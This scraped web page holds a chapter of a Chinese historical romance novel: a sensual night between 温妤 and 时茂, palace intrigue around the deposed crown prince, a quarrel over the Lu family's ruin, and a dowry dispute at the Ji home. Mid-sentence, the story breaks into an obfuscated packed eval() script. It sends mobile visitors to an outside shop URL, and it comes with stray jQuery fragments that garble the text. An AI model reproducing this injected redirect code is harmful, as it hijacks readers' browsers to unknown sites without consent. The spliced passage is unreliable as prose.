唇瓣滚烫,贴在冰凉的茶渍上,苦涩混着唇齿间残留的酒气,烙在锁骨下方那片被笔尖描过的皮肤上。
温妤螓首缓缓抬起,露出细长漂亮的脖颈,闭上双眼,感受到他的唇在她胸口停留了许久。
眼泪毫无预兆从眼角滑落,顺着眼角淌进发丝。
他抬起眼,醉意朦胧的目光停留在面前那片肌肤上,雪白的底子洇开极淡的红痕,是他留下的痕迹,混着泪痕与未干的茶渍,像是冬日绽放在雪地中的残梅。
温妤睫毛上尚且挂着泪珠,鼻尖微微泛红,下唇被自己咬出一道极浅的牙印。
唇瓣一寸一寸上移,温妤下意识地抬起手,抵在他的胸口,五指蜷曲。
腹下一阵火热,时茂忽然有些恼。
他强势地钳住她的下颌,蹙眉道,“哭什么,又不是没做过。”
旋即欺身碾压那张潋滟的红唇,带着一阵恼意,霸道不容抗拒。
唇齿相撞时,他尝到了一阵咸涩的泪。
温妤闭上眼,任由他折腾,抬起手背拭去脸上泪痕。
她不是任他发泄的对象。
既然如此……
她想起老鸨教过的那些东西,那些她以为这辈子都用不上的东西。
温妤慢慢离开他的亲吻,媚眼如丝地抬起双臂,环住他的脖颈。
她侧头迎合,加重了那个吻,手指穿过他的发丝,慢慢游走到耳后,在那里缓缓画了一个圈。
后脑一阵酥麻,时茂愣了一下,身体猛然绷紧,旋即弯腰将她打横抱起,大步走出书房,穿越回廊,踢开卧房的门,将她放在百子千孙帐内。
窗外月色正明,松影横斜,针隙间漏下的碎光洒在院内,像铺了一地碎银。
夜风从半开的窗棂灌入,掀动帐幔,纱帐的流苏被吹得轻轻晃荡,帐影与树影交叠在一处,分不清交叠的影子属于谁。
*
温妤睁眼时,日已三竿。
春鸢端着脸盆从门外而入。
温妤撑着床沿坐起身,“怎么不叫我起床去给婆婆请安?”
话讲出口,才发现自己声音有些沙哑。
春鸢将脸盆搁在架子上,拧了帕子送上:
“世子天没亮便离去,临走前特意去荣恩堂打了招呼,说小姐今日身子不适,免了问安。”
温妤胡乱擦了擦脸,“母亲同意了?”
春鸢眨眨眼:“夫人没说什么,还让嬷嬷送了一盅红枣银耳羹来,叮嘱让小姐多睡会儿呢。”
温妤颊侧有些红润,方要起身下床,脚一沾毯,便觉得腰背一阵酸软,腿根处隐隐传来一阵酸胀。
她低头咬着下唇,扶着床柱慢慢站直,脸上一阵红一阵白。
春鸢见她这副模样,赶紧上前扶住,忧心忡忡皱着眉,如临大敌:“小姐果然病了!奴婢去请府医——”
“不必!”
温妤抬手拉住兔子一样跳走的春鸢,深吸一口气,努力让自己的姿势看起来正常些。
用过银耳羹,方才缓步跨出门槛,在心底将时茂从头到脚骂了一遍。
这般也太没规矩了。
迟迟抵达荣恩堂,裴敏正坐在太师椅上翻单子。
许多暗示想将女儿送入国公府的拜帖,也有想要迎娶时莘的,国公夫人一概闪烁其词。
见温妤垂眸恭敬请安,她眉头微挑:“身子不适便多歇息,巴巴跑来做什么?”
温妤听出责怪中的担忧,缓缓摇头:“晨昏定省,身为儿媳不能坏了国公府的规矩。”
裴敏唤人为温妤安置落座,“行了,这些礼单和铺子账目,我正愁一个人忙不过来,你帮着清点一下。”
温妤应声,接过丫鬟递来的账册,一边翻阅,一边执笔刷刷记录。
核算完铺子账目,又清点好年节礼单。
动作熟练,游刃有余,再不是从前那个对着账册一筹莫展的新妇了。
裴敏眼角余光瞥见这一幕,唇角勾起,眼底流露出几乎溢出的欣赏之情。
这孩子,学东西学得快,又肯用功。
对儿媳,裴敏越看越顺眼。
因而搁下礼单,从手腕上褪下一只镯子。
镯子呈青绿色,半山半水,水头极好。
她拉过温妤的手,将镯子套上对方的手腕。玉镯莹润,衬得肤色尤漂亮。
温妤一惊,垂首轻呼:“母亲,这太贵重了。”
“戴着。”
裴敏轻拍她的手背,不再多言。
*
四日后的黄昏,春鸢跑掉一只鞋,气喘吁吁推开门,“小姐,太子被废黜——”
温妤手中账本滑落在地,纸页哗啦啦翻过。
圣上囚禁皇后、废太子。
起因是纪清澜以太子良娣的身份入宫面圣,将太子这些年戕害妃嫔、逼死宫人、于东宫私设刑堂的种种暴行条条陈述。
律法有言,妻妾告夫,若事情属实,则杖一百,徒三年;若是诬告丈夫,直接绞刑。
此乃干名犯义之罪。
纪清澜呈堂供词:“夫君贪赃鬻爵,收受贿赂,祸及朝野,累及万千百姓。若徇夫妻私情,便是漠视国法。世人道亲亲相隐,可江山社稷,重于闺阁私情!”
紧接着,新科庶常陆少渊于朝堂当众状告太子与皇后合谋残害国公府二房,痴傻疯癫,皆乃太子与皇后所为。
圣上震怒,命人压下此事。
或许是不肯承认自己教子无方,在废太子的诏书上,只写明“身子有疾,不堪为储君”。
从头到尾,不曾提过一个罪状。
温妤还没来得及消化这些,第二道消息便如冰水般兜头浇下。
陆默被捕,好在不过半日便被世子保下,暂时安置于国公府名下一处城郊别业,亟待再审。
温妤冲入书房。
时茂站在窗前,背对大门。
两人间隔着一张堆满公文的书案,她站在门口,嗓音颤抖:“陆家是早有预谋,对不对?你和四殿下早就知道陆家是被冤枉的,对不对?”
时茂没有回避她的目光。
“是。”他轻声道,“叔婶当年在宫中偏殿,偷听到皇后与内侍密议。皇后说陆家留着迟早是祸患,要借前案一并铲除。叔婶二人被发现,受了很大的伤害,去年我已查实。”
“那你们为何眼睁睁看着清流文臣倒下?陆家的命不是命?”
“水能载舟,但太子疑心太重。”
时茂慢条斯理解释道。
“他连自己身边的暗桩都要每月换一批,四殿下在宫中隐忍十几年才换来他的轻视。若我们早时出手,四殿下根基未稳,兵权、人脉、朝中耳目皆不如太子,恐怕早已被太子以结党谋逆之名铲除干净——太子若登基,以他的暴虐,会有更多人遭罪。”
“那也不能戕害忠良!”
声音终于有了裂痕,她从未在他面前露出过自己的獠牙,“陆老爷在世时,修渠铺路、减赋赈灾,三州百姓至今给他立长生牌。他冤死在狱中时,连一口薄棺都无人收殓。陆家被抄那日,我亲眼看着管家被差役活活打死在影壁前,与我一同洗衣裳的丫鬟被充入教坊,半夜吊死在房梁上。你们等得起,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787143|205792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他们等不起。他们的命不是棋子,不是你们棋盘上能够随手牺牲的卒子!”
“你先冷静……”
“凭什么!”温妤眼中闪烁着泪花,“陆默如今已是庶人……权贵的命是命,百姓的命便贱如草芥么?”
“世子不知道吧?陆夫人曾诞下一个女儿,意外夭折后,阖府上下悲恸万分。可粗使的仆役们却不知她为何如此伤心——他们不知孩子死了有什么值得伤心的,因为他们的孩子经常莫名其妙就死掉了。”
时茂叹息,内心似有波动,然而不过短短一瞬,他收回目光,捏紧腰牌,不再多言。
其实温妤心中清楚,时茂所言不无道理。
彼时若贸然出手,四皇子根基不稳,一行人早就会被太子铲除;待到太子登基,百姓只会民不聊生,会有更多无辜之人蒙受祸难。
可二人站在对立立场,身为受害者的她无法释怀,眼睁睁看着陆家身陷牢狱,心里始终过不去这道坎。
二人闹得不欢而散。
温妤强忍泪水,转身离去。
春鸢领命而去,抓人很快,接到纪琛转而将马车停在城隅巷口。
虞菡正扶着陆少渊的手从院内走出,缓缓上了另一辆马车的车辕。
车在纪府门前停靠。
纪府如今门庭破败得不成样子,石阶缝里长满了枯黄的杂草。
陆少渊推门,带人径直而入。
纪崇正坐在正厅里,身上衣裳脏得看不出原来的颜色,袖口磨损,衣襟沾着污渍。
没有女眷在府侍奉,零星几个仆役远远躲在回廊后,连个伺候客人的都没有。
陆少渊打头,从袖中取出一卷文书展开,逐条逐字地念给他听。
“依照律法,原配嫁妆不在夫家财产之列,夫家若侵吞原配嫁妆,原配及其子女有权追索;原配若被夫家以不正当手段逼离,夫家须返还全部嫁妆并赔偿损失。”
他将文书收起,直视纪崇,不卑不亢:
“晚辈手头有一份虞夫人的嫁妆抄本,请纪老爷过目,三日内将单上物件悉数归还。若有缺损,按市价折银。”
纪崇面无人色的脸色难得涨得通红,一拍扶手站起,颤巍巍地指着陆少渊:“你算什么东西,也敢在我纪家撒野!虞菡她自己不守妇道跟人跑了,还有脸回来讨嫁妆?”
陆少渊对这倒打一耙的指责冷笑:“是你!婚内通奸、背弃发妻,上违礼法下负妻室,罔顾伦常,禽兽之行!”
纪崇怒斥:“妄自揣测!你无凭据,何以无端空口构陷长辈!”
“我能作证。”
一道声音宛如惊雷乍响,自门外传来。
纪琛一身月白长衫,面容清瘦,徐徐走入。
纪琛的目光落在父亲纪崇身上,平静得像是在看一个毫无瓜葛的陌生人。
“父亲早在与原配夫人谈婚时,早与其妹虞芷有染——纪清禾的年龄被改小了半岁。那年我已七岁,通晓人事,这些事我可作证。”
众人哗然。
半岁?
可温妤与纪清禾的年龄差堪堪不过半岁。
温妤曾有所疑虑,以为六个月的差距实在太小。
原来一切都错了,她们实际的差距更小。
纪清禾不过比温妤小了几日,算下来她们是同时出生的。
那她们的母亲,便是同时有了身孕。
也就是说,在纪崇与虞菡订婚前,早已与虞芷有染。
纪崇唇瓣的血色褪得一干二净,瞪大双眼,手指向纪琛,挤出几个字:“你——你——”
……